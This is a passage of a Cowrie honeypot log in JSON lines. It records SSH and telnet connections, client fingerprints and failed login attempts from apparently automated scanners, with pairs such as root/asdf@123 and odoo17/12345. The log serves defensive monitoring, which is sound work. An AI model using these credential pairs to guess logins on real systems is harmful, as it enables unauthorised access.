{"eventid":"cowrie.login.failed","username":"backups","password":"backups123","message":"login attempt [backups/backups123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:45.875935Z","src_ip":"4.213.224.194","session":"f6caefaa1941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:47.073217Z","src_ip":"4.213.224.194","session":"f6caefaa1941","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.84427261352539,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:47.708240Z","src_ip":"128.199.8.54","session":"1434e39c07fd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"erpnext","password":"erpnext","message":"login attempt [erpnext/erpnext] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:47.731175Z","src_ip":"91.92.42.227","session":"52567a30a3ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"121.185.89.74","src_port":42480,"dst_ip":"159.203.135.109","dst_port":22,"session":"568b1b4ccbf2","protocol":"ssh","message":"New connection: 121.185.89.74:42480 (159.203.135.109:22) [session: 568b1b4ccbf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:49.362983Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.167.228.74","src_port":40265,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae353e75ae89","protocol":"ssh","message":"New connection: 168.167.228.74:40265 (159.203.135.109:22) [session: ae353e75ae89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:50.351408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:50.359785Z","src_ip":"168.167.228.74","session":"ae353e75ae89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:50.616324Z","src_ip":"168.167.228.74","session":"ae353e75ae89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"14.2","message":"Connection lost after 14.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:50.987588Z","src_ip":"91.92.42.227","session":"52567a30a3ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54144,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ea971aa416c","protocol":"ssh","message":"New connection: 91.92.42.227:54144 (10.17.0.5:22) [session: 2ea971aa416c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:51.051350Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:51.434961Z","src_ip":"121.185.89.74","session":"568b1b4ccbf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf@123","message":"login attempt [root/asdf@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:51.674081Z","src_ip":"168.167.228.74","session":"ae353e75ae89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:52.937929Z","src_ip":"168.167.228.74","session":"ae353e75ae89","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:52.996167Z","src_ip":"91.92.42.227","session":"2ea971aa416c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:53.024644Z","src_ip":"91.92.42.227","session":"2ea971aa416c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud123!","message":"login attempt [cloud/cloud123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:55.352964Z","src_ip":"91.92.42.227","session":"07a62e5e4558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50296,"dst_ip":"10.17.0.5","dst_port":22,"session":"bbbfff4931ca","protocol":"ssh","message":"New connection: 91.92.42.227:50296 (10.17.0.5:22) [session: bbbfff4931ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:57.615059Z"}
{"eventid":"cowrie.session.closed","duration":"15.5","message":"Connection lost after 15.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:48:59.450828Z","src_ip":"91.92.42.227","session":"07a62e5e4558","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:00.137245Z","src_ip":"91.92.42.227","session":"bbbfff4931ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:00.141567Z","src_ip":"91.92.42.227","session":"bbbfff4931ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":50482,"dst_ip":"10.17.0.5","dst_port":22,"session":"573aec101b0b","protocol":"ssh","message":"New connection: 80.66.85.226:50482 (10.17.0.5:22) [session: 573aec101b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:03.204438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:03.214759Z","src_ip":"80.66.85.226","session":"573aec101b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:03.312323Z","src_ip":"80.66.85.226","session":"573aec101b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"291083","message":"login attempt [root/291083] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:03.607748Z","src_ip":"80.66.85.226","session":"573aec101b0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dxfUgwfiNcx8","message":"login attempt [root/dxfUgwfiNcx8] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:03.750031Z","src_ip":"91.92.42.227","session":"2ea971aa416c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":50312,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5533eabea66","protocol":"ssh","message":"New connection: 91.92.42.227:50312 (10.17.0.5:22) [session: f5533eabea66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:04.389826Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:04.705134Z","src_ip":"80.66.85.226","session":"573aec101b0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":93.69698143005371,"message":"Connection lost after 93 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:06.324090Z","src_ip":"107.6.151.170","session":"b7155d1daa44","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:07.657873Z","src_ip":"91.92.42.227","session":"f5533eabea66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:07.661655Z","src_ip":"91.92.42.227","session":"f5533eabea66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"17.4","message":"Connection lost after 17.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:08.477231Z","src_ip":"91.92.42.227","session":"2ea971aa416c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"12345","message":"login attempt [server/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:11.576820Z","src_ip":"91.92.42.227","session":"bbbfff4931ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":45646,"dst_ip":"10.17.0.5","dst_port":22,"session":"f9233e7ea1e6","protocol":"ssh","message":"New connection: 91.92.42.227:45646 (10.17.0.5:22) [session: f9233e7ea1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:14.010268Z"}
{"eventid":"cowrie.session.closed","duration":"17.0","message":"Connection lost after 17.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:14.592774Z","src_ip":"91.92.42.227","session":"bbbfff4931ca","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:15.848753Z","src_ip":"91.92.42.227","session":"f9233e7ea1e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:15.851956Z","src_ip":"91.92.42.227","session":"f9233e7ea1e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo17","password":"12345","message":"login attempt [odoo17/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:16.753392Z","src_ip":"91.92.42.227","session":"f5533eabea66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.1","message":"Connection lost after 15.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:19.464576Z","src_ip":"91.92.42.227","session":"f5533eabea66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":53034,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b103e65c19b","protocol":"ssh","message":"New connection: 91.92.42.227:53034 (10.17.0.5:22) [session: 8b103e65c19b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:21.695747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:23.473310Z","src_ip":"91.92.42.227","session":"8b103e65c19b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:23.475976Z","src_ip":"91.92.42.227","session":"8b103e65c19b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rocky","password":"1234","message":"login attempt [rocky/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:23.844413Z","src_ip":"91.92.42.227","session":"f9233e7ea1e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53858,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bdf91aea8ff","protocol":"telnet","message":"New connection: 128.199.8.54:53858 (159.203.135.109:23) [session: 4bdf91aea8ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:26.423260Z"}
{"eventid":"cowrie.session.closed","duration":"12.7","message":"Connection lost after 12.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:26.664697Z","src_ip":"91.92.42.227","session":"f9233e7ea1e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41858,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8a8d75af320","protocol":"ssh","message":"New connection: 91.92.42.227:41858 (10.17.0.5:22) [session: f8a8d75af320]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:28.100501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:49:30.026422Z","src_ip":"91.92.42.227","session":"f8a8d75af320","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sh